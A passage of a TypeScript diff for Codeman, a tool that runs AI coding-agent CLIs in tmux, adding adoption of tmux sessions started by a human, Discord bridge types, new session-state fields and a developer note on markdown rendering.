+    const adopt = options.adopt ?? session.adopt;
     const muxName = session.muxName;
 
     if (!isValidMuxName(muxName) || !isValidPath(workingDir)) return null;
@@ -2815,7 +2963,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     const { command: statusLineCommand, state: statusLine } = await this._resolveStatusLine(
       mode,
       workingDir,
-      !!(remote || docker)
+      // An adopted wrapper launches no agent, so nothing can carry the exporter.
+      !!(remote || docker || adopt)
     );
     const idleCompactionOff = await this._resolveIdleCompactionOptOut(mode, statusLine, keepWarm, spawnedByAgent);
     const userStatusLineCommand = statusLineCommand ? await findEffectiveUserStatusLineCommand(workingDir) : undefined;
@@ -2845,11 +2994,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     const config = niceConfig || DEFAULT_NICE_CONFIG;
     const cmd = wrapWithNice(baseCmd, config);
     const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
-    const fullCmd = docker
-      ? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
-      : remote
-        ? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
-        : localFullCmd;
+    const fullCmd = adopt
+      ? buildAdoptSessionCommand(adopt, sessionId)
+      : docker
+        ? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
+        : remote
+          ? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
+          : localFullCmd;
 
     try {
       // Same per-CLI env setup as createSession, re-applied so the respawned pane inherits it.
@@ -2866,9 +3017,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       this.applyEnvOverrides(muxName, envOverrides, unsetEnvKeys);
 
       // -c /tmp + cd bounce — see createSession() for rationale (stale FUSE state).
-      const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
+      // ⚠️ An adopted pane is never `cd`'d: it only attaches, and its `workingDir`
+      // is the neutral wrapper folder, not where the foreign pane is.
+      const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
       await execAsync(
-        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
+        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker || adopt))}`,
         {
           timeout: EXEC_TIMEOUT_MS,
         }
@@ -3074,6 +3227,59 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     // for a non-owned session. The only `kill-session` we run is on OUR LOCAL
     // socket (`this.tmux()` = `tmux -L codeman` on THIS host), which kills the
     // local pane — it does NOT reach the REMOTE socket.
+    // ADOPTION: DETACH-NOT-KILL, by construction rather than by discipline.
+    //
+    // An adopted session's wrapper is an ordinary session on OUR socket whose
+    // pane runs `tmux attach` (or `docker exec …`/`ssh …` then attach) against a
+    // FOREIGN server. Killing the wrapper kills our attach client, which is a
+    // DETACH on the foreign side; the human's session keeps running, and our
+    // grouped view session self-destroys via `destroy-unattached on`.
+    //
+    // The guard below is a formality more than a fence: `this.tmux()` only ever
+    // addresses our own socket, so no code path here CAN reach the foreign
+    // server. It is written out anyway so the intent survives future edits, the
+    // same way the non-owned-remote early return does.
+    if (session.adopt) {
+      console.log(`[TmuxManager] DETACH (adopted): tearing down wrapper only for ${session.muxName}`);
+      // A `docker exec` survives its client, so the in-container view would stay
+      // attached forever and leak. Best-effort, and it can only reach OUR view.
+      // See buildForeignDockerViewKillCommand for why local/remote need nothing.
+      // Fire and forget like the owned docker branch below: a daemon that stopped
+      // answering must not hold the event loop for the whole timeout.
+      if (session.adopt.location === 'docker' && session.adopt.docker) {
+        try {
+          exec(
+            buildForeignDockerViewKillCommand({
+              dockerBase: buildDockerBaseArgs(session.adopt.docker).join(' '),
+              containerName: session.adopt.docker.containerName,
+              socketPath: session.adopt.socketPath,
+              viewSession: session.adopt.viewSession || foreignViewSessionName(sessionId),
+            }),
+            { timeout: EXEC_TIMEOUT_MS },
+            () => {}
+          );
+        } catch {
+          // Best-effort: the container may be gone, or the view already collected.
+        }
+      }
+      if (isValidMuxName(session.muxName)) {
+        try {
+          await execAsync(`${this.tmux()} kill-session -t "${session.muxName}" 2>/dev/null`, {
+            timeout: EXEC_TIMEOUT_MS,
+          });
+        } catch {
+          // Wrapper may already be gone.
+        }
+      }
+      this.lastPaneCount.delete(session.muxName);
+      this.clearPaneExit(session.muxName);
+      this.sessions.delete(sessionId);
+      this.clearRemoteReconnectState(sessionId);
+      this.saveSessions();
+      this.emit('sessionKilled', { sessionId });
+      return true;
+    }
+
     if (session.remote && session.remote.owned === false) {
       console.log(`[TmuxManager] DETACH (non-owned remote): tearing down local pane only for ${session.muxName}`);
       if (isValidMuxName(session.muxName)) {
@@ -3508,6 +3714,19 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     }));
   }
 
+  /**
+   * The directory the session's pane was in at the last authoritative pane
+   * read, or `undefined` when unknown. Costs nothing: it reads the map the
+   * pane-exit watcher's batched `list-panes -a` fills, so no tmux call is made
+   * per click. A failed or empty read keeps the previous answers, and so does
+   * a blank `#{pane_current_path}` on a single-pane session. After a successful
+   * read, `undefined` means that read listed no single directory for the
+   * session: it was split into several panes or is no longer on the socket.
+   */
+  getPaneCurrentPath(muxName: string): string | undefined {
+    return this.paneCurrentPaths.get(muxName);
+  }
+
   /**
    * What the last pane read saw of this tmux session's agent. `undefined` is
    * the UNKNOWN answer and must never be rendered as "alive": it covers a pane
@@ -3569,6 +3788,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       this.paneExitReadInFlight = false;
     }
     if (rows.length === 0) return;
+    // The directory reading rides the same read. It is applied before the
+    // generation check below: a respawn invalidates an exit observation, but the
+    // pane's directory at read time is still the best answer there is. A blank
+    // field on a single-pane session carries the previous answer forward.
+    this.paneCurrentPaths = derivePaneCurrentPaths(rows, this.paneCurrentPaths);
     // A pane was respawned or killed while this read was out, so what it saw is
     // already history. Dropping it is what stops a freshly respawned pane from
     // being republished as exited.
@@ -3778,9 +4002,51 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       } catch (err) {
         console.error('[TmuxManager] Remote reconnect watcher error:', err);
       }
+      void this.detachEndedAdoptedAttaches().catch((err) => {
+        console.error('[TmuxManager] Adopted attach watcher error:', err);
+      });
     }, intervalMs);
   }
 
+  /**
+   * Let go of a wrapper whose pane died (#510). That pane holds the attach to someone
+   * else's tmux session, so it dies when that session ends, the transport drops or the
+   * view gets detached, and `paneExit` rightly reports none of them. But `remain-on-exit`
+   * keeps Codeman's own tmux client on the dead pane, so the tab kept its pid and `busy`,
+   * input went nowhere and both attach routes refused it.
+   *
+   * Detaching that client is an ordinary PTY exit with status 0: the pid goes null, the tab
+   * stays open, and selecting it starts the wrapper again, which joins the target if it is
+   * back and otherwise prints that it is gone. Only Codeman's own socket is touched.
+   */
+  async detachEndedAdoptedAttaches(): Promise<void> {
+    const adopted = new Set<string>();
+    for (const session of this.sessions.values()) {
+      if (session.adopt) adopted.add(session.muxName);
+    }
+    if (adopted.size === 0) return;
+    for (const muxName of endedAdoptedAttaches(await this.readAttachRows(), adopted)) {
+      await this.detachClients(muxName);
+    }
+  }
+
+  /** Rows for {@link endedAdoptedAttaches}. Empty when tmux did not answer. */
+  protected async readAttachRows(): Promise<string> {
+    if (IS_TEST_MODE) return '';
+    const format = '#{pane_dead} #{session_attached} #{session_name}';
+    const { stdout } = await execAsync(`${this.tmux()} list-panes -a -F '${format}' 2>/dev/null || true`, {
+      encoding: 'utf-8',
+      timeout: EXEC_TIMEOUT_MS,
+    });
+    return stdout;
+  }
+
+  /** Detach every tmux client from one of Codeman's own sessions. */
+  protected async detachClients(muxName: string): Promise<void> {
+    if (IS_TEST_MODE || !isValidMuxName(muxName)) return;
+    await execAsync(`${this.tmux()} detach-client -s "${muxName}"`, { timeout: EXEC_TIMEOUT_MS });
+  }
+
   stopRemoteReconnectWatcher(): void {
     if (this.remoteReconnectInterval) {
       clearInterval(this.remoteReconnectInterval);
@@ -4599,6 +4865,29 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
   }
 }
 
+/**
+ * The `bash -c` argument of a pane launch (`respawn-pane … bash -c <arg>`, run through the
+ * local sh). A remote, docker or adopted command is already quoted for the shell at the far
+ * end and must reach bash verbatim, so it goes in single quotes. Double quotes
+ * (JSON.stringify) let the local sh expand every `$` first: the PATH bootstrap of
+ * `withRemoteTmuxPath` (`$HOME/.local/bin:…:$PATH`) arrived on the remote host as this
+ * host's home and PATH, so a remote user with another home found no tmux and every new
+ * remote pane exited 127. `${SHELL:-/bin/sh}` in the remote launch was the local shell for
+ * the same reason, and an adopted ssh attach carries the same bootstrap, so a tmux in the
+ * remote `~/.local/bin` was found by discovery and then missed by the attach. Single quotes
+ * also keep a real newline, which JSON escaping left as the two characters `\n`.
+ * An adopted attach goes verbatim at all three locations, the local one included: every
+ * value in it is already quoted by `foreign-tmux.ts`, and nothing in it is for this shell.
+ * An agent launched on this host keeps its double-quoted form.
+ *
+ * ⚠️ So nothing in a verbatim launch is expanded on this host any more, the docker client's
+ * own arguments included: a bare `$VAR` in `extraCreateArgs`/`extraExecArgs` reaches docker
+ * as those literal characters.
+ */
+export function bashCArg(launchCmd: string, verbatim: boolean): string {
+  return verbatim ? shellescape(launchCmd) : JSON.stringify(launchCmd);
+}
+
 /**
  * Shell-escape a string for use as a single argument.
  * Wraps in single quotes, escaping any embedded single quotes.

src/types/discord.ts

@@ -0,0 +1,60 @@
+/**
+ * @fileoverview Discord bridge type definitions.
+ *
+ * The option lists and the config, result and status shapes of the two-way Discord bridge, kept apart
+ * from the IO module (`src/discord-bridge.ts`, which pulls in `ws`) so the request schemas and the
+ * route can import them alone, as the webhook's equivalents live in `push.ts`.
+ *
+ * Key exports:
+ * - DISCORD_THREAD_CREATION, DISCORD_ON_DELETE, DISCORD_PING_MODES (+ their types): the option lists
+ * - DiscordConfig: `~/.codeman/discord.json` (mode 0600; the bot token is a secret)
+ * - DiscordResult, DiscordGatewayState, DiscordStatus: what `GET /api/discord` reports
+ *
+ * No dependencies on other domain modules but `push.ts` (the shared scope list).
+ */
+
+import type { WebhookScope } from './push.js';
+
+export const DISCORD_THREAD_CREATION = ['lazy', 'onSessionStart'] as const;
+export type DiscordThreadCreation = (typeof DISCORD_THREAD_CREATION)[number];
+export const DISCORD_ON_DELETE = ['keep', 'archive', 'delete'] as const;
+export type DiscordOnDelete = (typeof DISCORD_ON_DELETE)[number];
+export const DISCORD_PING_MODES = ['off', 'critical', 'all'] as const;
+export type DiscordPingMode = (typeof DISCORD_PING_MODES)[number];
+
+export interface DiscordConfig {
+  enabled: boolean;
+  token: string;
+  guildId: string;
+  parentChannelId: string;
+  allowedUserIds: string[];
+  threadCreation: DiscordThreadCreation;
+  onSessionDelete: DiscordOnDelete;
+  /** What to do with threads the bridge made that no tab maps to any more: checked after boot, then daily. */
+  staleThreads: DiscordOnDelete;
+  pingMode: DiscordPingMode;
+  /** `attention` skips info-level events (a finished response); `all` sends them too. */
+  scope: WebhookScope;
+  /** Tell each session how to reach the user (see DISCORD_STARTUP_HINT). On by default while the bridge is on. */
+  startupHint: boolean;
+}
+
+export interface DiscordResult {
+  ok: boolean;
+  /** True when the same event for the same tab was posted within the last few seconds, so nothing was sent. */
+  deduped?: boolean;
+  status?: number;
+  error?: string;
+  at: number;
+}
+
+export type DiscordGatewayState = 'off' | 'connecting' | 'connected' | 'error';
+
+/** `GET /api/discord`: the config without its token, plus what the bridge is doing. */
+export type DiscordStatus = Omit<DiscordConfig, 'token'> & {
+  hasToken: boolean;
+  tokenMasked: string;
+  gateway: DiscordGatewayState;
+  gatewayError: string | null;
+  lastResult: DiscordResult | null;
+};

src/types/foreign-tmux.ts

@@ -0,0 +1,106 @@
+/**
+ * @fileoverview Discovery contract for FOREIGN tmux sessions, the ones a human
+ * started by hand (`tmux new -s work`, then `claude` or `codex` inside it), which
+ * Codeman did not create and does not own.
+ *
+ * Codeman's own sessions live on a dedicated, instance-scoped socket
+ * (`tmux -L codeman`) and are gated by `SAFE_MUX_NAME_PATTERN`. Everything here
+ * is about the OTHER servers: the default socket, a colleague's `-L` socket, the
+ * tmux inside a container, the tmux on an ssh host.
+ *
+ * Key exports:
+ * - ForeignTmuxLocation, WHERE a foreign tmux server lives, the same three
+ *   locations Codeman already runs sessions in (local / docker / remote).
+ * - ForeignPaneProbe, one parsed row of the probe script's output.
+ * - ForeignTmuxSession, one adoptable candidate as the UI sees it.
+ * - ForeignDiscoveryResult, one scan of one or more locations.
+ *
+ * ⚠️ `location` here describes where a candidate was FOUND. Once adopted, the
+ * location fact is carried by `SessionAdopt` (types/session.ts) instead. The two
+ * must never stand in for each other, or an un-adopted candidate starts looking
+ * like a live session.
+ *
+ * No I/O here. The probe/parse/classify core is `src/foreign-tmux.ts`; the three
+ * transports are `src/foreign-tmux-discovery.ts`.
+ */
+
+import type { SessionMode } from './session.js';
+
+/** Where a foreign tmux server lives. Mirrors Codeman's own three locations. */
+export type ForeignTmuxLocationKind = 'local' | 'docker' | 'remote';
+
+/**
+ * A location to scan. `hostId` refers to the saved docker-host / remote-host
+ * registry entry, so the transport can be rebuilt without trusting the browser.
+ */
+export interface ForeignTmuxLocation {
+  kind: ForeignTmuxLocationKind;
+  /** Registry id (`docker-hosts.json` / `remote-hosts.json`). Absent for local. */
+  hostId?: string;
+  /** Display label for the UI. Absent for local. */
+  label?: string;
+  /** Container to `docker exec` into (`kind === 'docker'`). */
+  containerName?: string;
+}
+
+/** One pane row from the probe script, after parsing. */
+export interface ForeignPaneProbe {
+  socketPath: string;
+  sessionName: string;
+  windowIndex: number;
+  paneId: string;
+  panePid: number;
+  /** tmux's own idea of the running command: `node` for both claude and codex. */
+  paneCurrentCommand: string;
+  paneCurrentPath: string;
+  sessionAttached: boolean;
+  /** tmux `session_created`, epoch SECONDS. */
+  sessionCreated: number;
+  windows: number;
+}
+
+/** One adoptable foreign session. */
+export interface ForeignTmuxSession {
+  /**
+   * Stable, opaque id for the UI and the adopt request. Derived from
+   * location + socket + session name, so it survives a re-scan and can be
+   * matched against an already-adopted session without echoing raw paths back
+   * through the browser as command inputs.
+   */
+  id: string;
+  location: ForeignTmuxLocationKind;
+  hostId?: string;
+  hostLabel?: string;
+  containerName?: string;
+  /** Absolute socket path AS SEEN FROM THE LOCATION (not from Codeman's host). */
+  socketPath: string;
+  sessionName: string;
+  windows: number;
+  attached: boolean;
+  /** Epoch MILLISECONDS (tmux reports seconds; normalized on parse). */
+  createdAt: number;
+  /**
+   * What the session's FIRST LISTED pane is running, from the bounded process-tree
+   * walk. Not the active window: claude in window 1 of a session whose window 0 holds
+   * a shell reads as `shell`. The tab lands on that same first window, so the two agree.
+   */
+  mode: SessionMode;
+  /** Truncated command line behind the classification, for the UI subtitle. */
+  command: string;
+  /** That same pane's cwd. Informational: an adopted pane is never `cd`'d. */
+  workingDir: string;
+  /** Codeman session id already wrapping this target, when one exists. */
+  adoptedBy?: string;
+}
+
+/** One discovery scan. Never throws: unreachable locations become notes. */
+export interface ForeignDiscoveryResult {
+  sessions: ForeignTmuxSession[];
+  /** Epoch ms of the scan the result came from (may be a cache hit). */
+  scannedAt: number;
+  /**
+   * Non-fatal reasons a location produced nothing (host unreachable, no tmux,
+   * engine down). Surfaced so an empty list is never silently ambiguous.
+   */
+  notes: string[];
+}

src/types/index.ts

@@ -25,6 +25,7 @@
  * | tools        | ActiveBashTool, ImageDetectedEvent                                    | In-memory, broadcast via SSE                   |
  * | teams        | TeamConfig, TeamMember, TeamTask, InboxMessage, PaneInfo              | `~/.claude/teams/`, `~/.claude/tasks/` → `GET /api/teams` |
  * | push         | PushSubscriptionRecord, VapidKeys, WebhookConfig, WebhookStatus, WebhookResult | `~/.codeman/push-keys.json`, `~/.codeman/push-subscriptions.json`, `~/.codeman/webhook.json` |
+ * | discord      | DiscordConfig, DiscordResult, DiscordStatus, DiscordGatewayState      | `~/.codeman/discord.json` → `GET`/`PUT /api/discord` |
  * | plan         | PlanItem, PlanTaskStatus, TddPhase                                    | In-memory → `GET /api/sessions/:id/plan/tasks` |
  * | orchestrator | OrchestratorState, OrchestratorPlan, OrchestratorConfig, OrchestratorPersistState | `~/.codeman/state.json` → `GET /api/orchestrator/status` |
  * | mcp-sync     | McpSyncResult, McpSyncTargetResult                                    | Other CLIs' own config files → `GET`/`POST /api/mcp-sync` |
@@ -65,6 +66,7 @@ export * from './run-summary.js';
 export * from './tools.js';
 export * from './teams.js';
 export * from './push.js';
+export * from './discord.js';
 export * from './plan.js';
 export * from './orchestrator.js';
 export * from './update.js';
@@ -73,4 +75,5 @@ export * from './search.js';
 export * from './user.js';
 export * from './webview.js';
 export * from './intent.js';
+export * from './foreign-tmux.js';
 export * from './mcp-sync.js';

src/types/session.ts

@@ -34,6 +34,7 @@
 import type { RespawnConfig } from './respawn.js';
 import type { AttachmentDetectedType } from './tools.js';
 import type { GitFetchStatus } from '../git-fetch.js';
+import type { LiveWorktree } from '../live-worktree.js';
 
 /** Status of a Claude session */
 export type SessionStatus = 'idle' | 'busy' | 'stopped' | 'error';
@@ -365,6 +366,74 @@ export interface SessionDocker {
   owned?: boolean;
 }
 
+/**
+ * Connection facts needed to reach an adopted foreign tmux server. Deliberately
+ * the exact `Pick`s that `buildSshConnectionArgs` / `buildDockerBaseArgs` consume,
+ * so an adopted session can rebuild its command after a server restart without
+ * re-reading a registry that may have been edited in the meantime.
+ */
+export interface AdoptRemoteConnection extends RemoteSshOptions {
+  hostId: string;
+  label: string;
+  host: string;
+  username: string;
+  port?: number;
+}
+
+export interface AdoptDockerConnection {
+  hostId: string;
+  label: string;
+  engine: DockerEngine;
+  containerName: string;
+  daemonHost?: string;
+  context?: string;
+}
+
+/**
+ * ADOPTION overlay: a tmux session a HUMAN started, that Codeman attached to.
+ *
+ * This is the FOURTH location overlay, alongside remote-SSH and Docker, and it
+ * obeys the same rule they do: it is **not** a `SessionMode`. The mode is still
+ * claude / codex / shell / …, decided by the process-tree probe rather than by
+ * the user.
+ *
+ * Shape of an adopted session: Codeman creates a NORMAL wrapper session on its
+ * OWN socket (`codeman-<8hex>`, so `isValidMuxName` and every capture/input/
+ * recovery path is untouched) whose single pane runs a command that attaches to
+ * the foreign target. Killing the tab kills only the wrapper: the foreign
+ * session is structurally out of reach, exactly like a non-owned remote session.
+ *
+ * ⚠️ There is no `owned` field here, unlike `SessionRemote`/`SessionDocker`: an
+ * adopted session is *by definition* someone else's. A field that could be true
+ * would invite a code path that kills it.
+ */
+export interface SessionAdopt {
+  /** Where the foreign tmux server lives. */
+  location: 'local' | 'docker' | 'remote';
+  /** Absolute socket path as seen FROM that location (passed to `tmux -S`). */
+  socketPath: string;
+  /** The foreign session we attach to. Never Codeman-named, never name-validated. */
+  targetSession: string;
+  /**
+   * Our own grouped VIEW session on the foreign server. Grouping (rather than a
+   * bare `attach`) buys `status off` and an independent CURRENT WINDOW, both of
+   * which land on our session instead of mutating the owner's.
+   *
+   * ⚠️ It does NOT buy an independent size, and the comment here used to claim it
+   * did. A window is one object with one size and a group shares that object, so
+   * our attach resizes the owner's view exactly as any second tmux client does
+   * (measured on 3.3a: bare attach and grouped both shrink a 200x49 target to
+   * 80x23; only `window-size largest` holds it, and that is a shared window
+   * option which survives our detach, see foreign-tmux.ts for why it is not set).
+   * Created with `destroy-unattached on` so it evaporates with our pane.
+   */
+  viewSession: string;
+  /** The pane cwd at adoption time. Informational: an adopted pane is never `cd`'d. */
+  paneCurrentPath?: string;
+  remote?: AdoptRemoteConnection;
+  docker?: AdoptDockerConnection;
+}
+
 /**
  * Valid Claude CLI effort levels (claude >= 2.1.154).
  * `ultracode` = xhigh effort + standing dynamic-workflow orchestration; it is a
@@ -439,8 +508,10 @@ export interface CodexConfig {
   dangerouslyBypassApprovals?: boolean;
   /**
    * Let commands in codex's workspace-write sandbox use the network, Codeman's loopback API
-   * included (passes --config sandbox_workspace_write.network_access=true). Filled from the
-   * synced `codexNetworkAccess` setting when unset; clamped off for a non-granted owner.
+   * included (passes --config sandbox_workspace_write.network_access=true). Never changes the
+   * sandbox mode: a folder codex runs read-only keeps the network closed and asks per command.
+   * Filled from the synced `codexNetworkAccess` setting when unset; clamped off for a
+   * non-granted owner.
    */
   networkAccess?: boolean;
   /** Enable Codex's decorative TUI animations. Disable to reduce remote terminal redraws. */
@@ -708,6 +779,20 @@ export interface CustomModelBookkeeping extends CustomModelSelection {
   configDir?: string;
   /** Value forced onto the CLI's `model` launch param (pi/omp `custom/<id>`, grok's block name). */
   launchModel?: string;
+  /**
+   * The variable that moves the CLI's home, when the recipe redirects one (`DSH_HOME`,
+   * `CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `GROK_HOME`). Its value is a path, which is what
+   * lets {@link CustomModelBookkeeping.ownEnv} keep that one entry on disk.
+   */
+  homeEnvVar?: string;
+  /**
+   * What the session itself had set under keys the selection replaced, put back when the
+   * selection goes. In memory this can hold a credential (a session's own `GEMINI_API_KEY`),
+   * so `Session.getCustomModelForPersist()` writes `homeEnvVar`'s entry, when it is an absolute
+   * path, and nothing else: tmux keeps only the injected value, so state.json is the one copy
+   * left after a restart.
+   */
+  ownEnv?: Record<string, string>;
 }
 
 /**
@@ -840,10 +925,39 @@ export interface SessionState {
   status: SessionStatus;
   /** Working directory path */
   workingDir: string;
+  /**
+   * The directory the session's local tmux pane is in NOW (`#{pane_current_path}`),
+   * when known. `workingDir` is fixed at create time and never follows a `cd`;
+   * this is what a relative path printed in the terminal is relative to.
+   *
+   * Runtime-only: refreshed from the pane-exit watcher's read and never restored
+   * from disk, so a restart starts blank. Absent for remote and docker sessions
+   * (their local pane runs the ssh / docker-exec client) and for direct-PTY or
+   * rediscovered sessions. NOT a confinement root: the file routes stay confined
+   * to `workingDir`, and a path resolved outside it goes through the attachment
+   * routes like any other out-of-workspace path.
+   */
+  paneCwd?: string;
+  /**
+   * The linked git worktree inside `workingDir` that the pane is in NOW, when there is one:
+   * Claude Code's `.claude/worktrees/<name>`, or any other worktree of the repository under
+   * the session's folder. Derived from {@link paneCwd} by `live-worktree.ts`, so it is
+   * runtime-only and absent wherever `paneCwd` is, and absent for a worktree outside
+   * `workingDir`: the file routes never serve those. NOT a confinement root; the Files panel
+   * only starts its listing here, after `GET .../files` has checked that the real folder still
+   * lies inside `workingDir`, since a symlink can replace it without moving the pane.
+   */
+  liveWorktree?: LiveWorktree;
   /** Remote execution metadata, present when this session runs over SSH through local tmux */
   remote?: SessionRemote;
   /** Docker execution metadata, present when this session runs inside a container via local tmux + docker exec */
   docker?: SessionDocker;
+  /**
+   * Adoption metadata, present when this session is a wrapper around a tmux
+   * session a human started outside Codeman. Its presence is what disables
+   * respawn/Ralph/orchestrator and hook-backed waits for the session.
+   */
+  adopt?: SessionAdopt;
   /** Owning username in multi-user mode; undefined in single-user (ignored when the flag is off) */
   owner?: string;
   /**
@@ -949,8 +1063,8 @@ export interface SessionState {
   /**
    * True while the CLI in the pane has a mouse-tracking DECSET on, as observed
    * by the server on its way out of the stream (those sequences are stripped for
-   * the strip-full and strip-mux-and-mouse modes, claude/codex/gemini and opencode
-   * under tmux, so the browser can never see them itself). The browser
+   * the strip-full and strip-mux-and-mouse modes under tmux, so the browser can
+   * never see them itself). The browser
    * hand-encodes a click report ONLY when this is true; without it, every click
    * sent mouse reports to a CLI that never asked for them.
    */

src/types/update.ts

@@ -31,8 +31,11 @@ export type SupervisorKind = 'systemd' | 'launchd' | 'launchd-daemon' | 'docker-
  * How Codeman was installed. `git` and `docker-compose` can self-update in
  * place; `docker-compose` is a git checkout bind-mounted into the container, so
  * the pull/build happen on the host filesystem and survive container recreation.
+ * `archive` is what `install.sh` leaves on a machine with no working git (its
+ * no-admin route): the source unpacked from an archive, with nothing for the
+ * in-app updater to pull into, so it updates by re-running the installer.
  */
-export type InstallKind = 'git' | 'docker-compose' | 'npm' | 'unknown';
+export type InstallKind = 'git' | 'docker-compose' | 'npm' | 'archive' | 'unknown';
 
 /**
  * Why an in-place container update is refused. Each is derived mechanically from

src/web/CLAUDE.md

@@ -22,7 +22,7 @@
 
 **Ctrl+V paste trap** (`image-input.js`): `Ctrl+V` routes through `_handleImagePaste()`, which focuses a hidden `contenteditable` trap and reads the clipboard from the paste event landing there; images upload and their paths are typed in, plain text is a Codeman-built bracketed paste handed to that pane's terminal via `terminal.input(framed)` (strip nested 200/201 markers, newlines to `\r`, wrap CSI 200~/201~) because `terminal.paste()` drops those markers after a replay clears xterm's DECSET 2004 mirror (#716). `input()` fires onData as user input, so the main pane's bracketed-paste branch and a tile's `_onTerminalData` deliver the frame, including the local-echo flush (#219). The terminal is only refocused. ⚠️ **The trap must consume exactly ONE paste event** (Firefox delivers two per keypress: the `execCommand('paste')` event and the keydown's default action); the one-shot flag lives on the trap, never on a browser check. ⚠️ Do not remove the `execCommand('paste')` call: on some mobile engines it is the only route into the trap, and the trap is the only place image blobs are read. Tests: `test/image-paste-trap.test.ts`. → [architecture-invariants#terminal-paste-ctrlv](../../docs/architecture-invariants.md#terminal-paste-ctrlv)
 
-**File Viewer text view: rendered markdown + Lines/Wrap toggles** (`_renderFilePreviewText()` in panels-ui.js): a `.md`/`.markdown` opens RENDERED by default with an `MD` pill back to source; the plain-text view has `Lines` (CSS-counter gutter) and `Wrap` toggles. ⚠️ ONE markdown pipeline: the viewer calls `_renderMarkdown(text, { breaks: false })` (marked + the DOMPurify allowlist, the Response Viewer's; chat keeps the default `breaks: true`, a file must not turn every hard wrap into a `<br>`) and binds the Response Viewer's click delegate (`_bindResponseViewerInteractions`) on the preview body for code-copy buttons and path links; never a second parser or handler. ⚠️ The document is built inside a `<template>` (a detached div with `innerHTML` set starts fetching every `<img src>` before the rewrite), then `_rebaseFilePreviewMarkdownRefs()` points relative images at the workspace-confined `file-raw` under the document's directory and root-relative ones under the workspace root (never a widened route; a failed load degrades to alt text), after `decodeURIComponent`ing the ref and dropping `?query`/`#fragment` (marked percent-encodes destinations, and the route encodes again), and turns workspace links into `a.rv-path` carrying `data-session-id` for the delegate (the linkifier's absolute paths get it too), stripping the `target` marked gave them. ⚠️ A preview opened by attachment id under a bare file name (attachment cards, history drawer: the registry keeps no relative path) has no directory, so its workspace refs degrade (images to alt text, links to their text), never resolve against the workspace root. ⚠️ The container carries `data-i18n-skip` or the translator rewrites the document's prose. ⚠️ Toggles are per-device localStorage keys (`codeman:filePreview*`), never `SettingsUpdateSchema`; Lines/Wrap are class flips on the ONE `<pre>`, with rules scoped `.file-preview-body > pre.file-preview-text` so they never leak into the document's code blocks. Markdown fetches `lines=10000` (the route ceiling), other text keeps 500. ⚠️ `md`/`markdown` are IN `FILE_PREVIEW_EXTENSIONS` (owner decision 2026-10-13): a markdown path clicked or tapped in the TERMINAL (main pane, grid tiles and split Pane B share `registerFilePathLinkProvider`) opens this rendered view like every other surface, never the streaming log viewer; other in-workspace text keeps the tail viewer (live follow). The terminal pattern links `.markdown` and `.htm` too. Tests: `test/file-preview-markdown.test.ts`. → [architecture-invariants#file-viewer-text-view-rendered-markdown-and-text-toggles](../../docs/architecture-invariants.md#file-viewer-text-view-rendered-markdown-and-text-toggles)
+**File Viewer text view: rendered markdown + Lines/Wrap toggles** (`_renderFilePreviewText()` in panels-ui.js): a `.md`/`.markdown` opens RENDERED by default with an `MD` pill back to source; the plain-text view has `Lines` (CSS-counter gutter) and `Wrap` toggles. ⚠️ ONE markdown pipeline: the viewer calls `_renderMarkdown(text, { breaks: false })` (marked + the DOMPurify allowlist, the Response Viewer's; chat keeps the default `breaks: true`, a file must not turn every hard wrap into a `<br>`) and binds the Response Viewer's click delegate (`_bindResponseViewerInteractions`) on the preview body for code-copy buttons and path links; never a second parser or handler. ⚠️ The document is built inside a `<template>` (a detached div with `innerHTML` set starts fetching every `<img src>` before the rewrite), then `_rebaseFilePreviewMarkdownRefs()` points relative images at the workspace-confined `file-raw` under the document's directory and root-relative ones under the workspace root (never a widened route; a failed load degrades to alt text), after `decodeURIComponent`ing the ref and dropping `?query`/`#fragment` (marked percent-encodes destinations, and the route encodes again), and turns workspace links into `a.rv-path` carrying `data-session-id` for the delegate (the linkifier's absolute paths get it too), stripping the `target` marked gave them. ⚠️ A preview opened by attachment id under a bare file name (attachment cards, history drawer: the registry keeps no relative path) has no directory, so its workspace refs degrade (images to alt text, links to their text), never resolve against the workspace root. ⚠️ The container carries `data-i18n-skip` or the translator rewrites the document's prose. ⚠️ Toggles are per-device localStorage keys (`codeman:filePreview*`), never `SettingsUpdateSchema`; Lines/Wrap are class flips on the ONE `<pre>`, with rules scoped `.file-preview-body > pre.file-preview-text` so they never leak into the document's code blocks. Markdown fetches `lines=10000` (the route ceiling), other text keeps 500. ⚠️ `md`/`markdown` are IN `FILE_PREVIEW_EXTENSIONS` (owner decision 2026-10-13): a markdown path clicked or tapped in the TERMINAL (main pane, grid tiles and split Pane B share `registerFilePathLinkProvider`) opens this rendered view like every other surface, never the streaming log viewer; other in-workspace text keeps the tail viewer (live follow). The terminal pattern links `.markdown` and `.htm` too. ⚠️ **Right-to-left text** (#715) has three parts on that one pipeline: `_renderMarkdown` pins `pre, code` to `dir="ltr"`, `_linkifyFilePaths` pins the anchors it builds the same way (`dir="auto"` skips a descendant that carries a `dir`, so `npm install` or a path at the head of a Persian sentence does not decide its direction; a markdown link's label is prose and stays unpinned), and `_applyBlockDirection()` gives each OUTERMOST prose block `dir="auto"`, keeping a `dir` the agent wrote and what 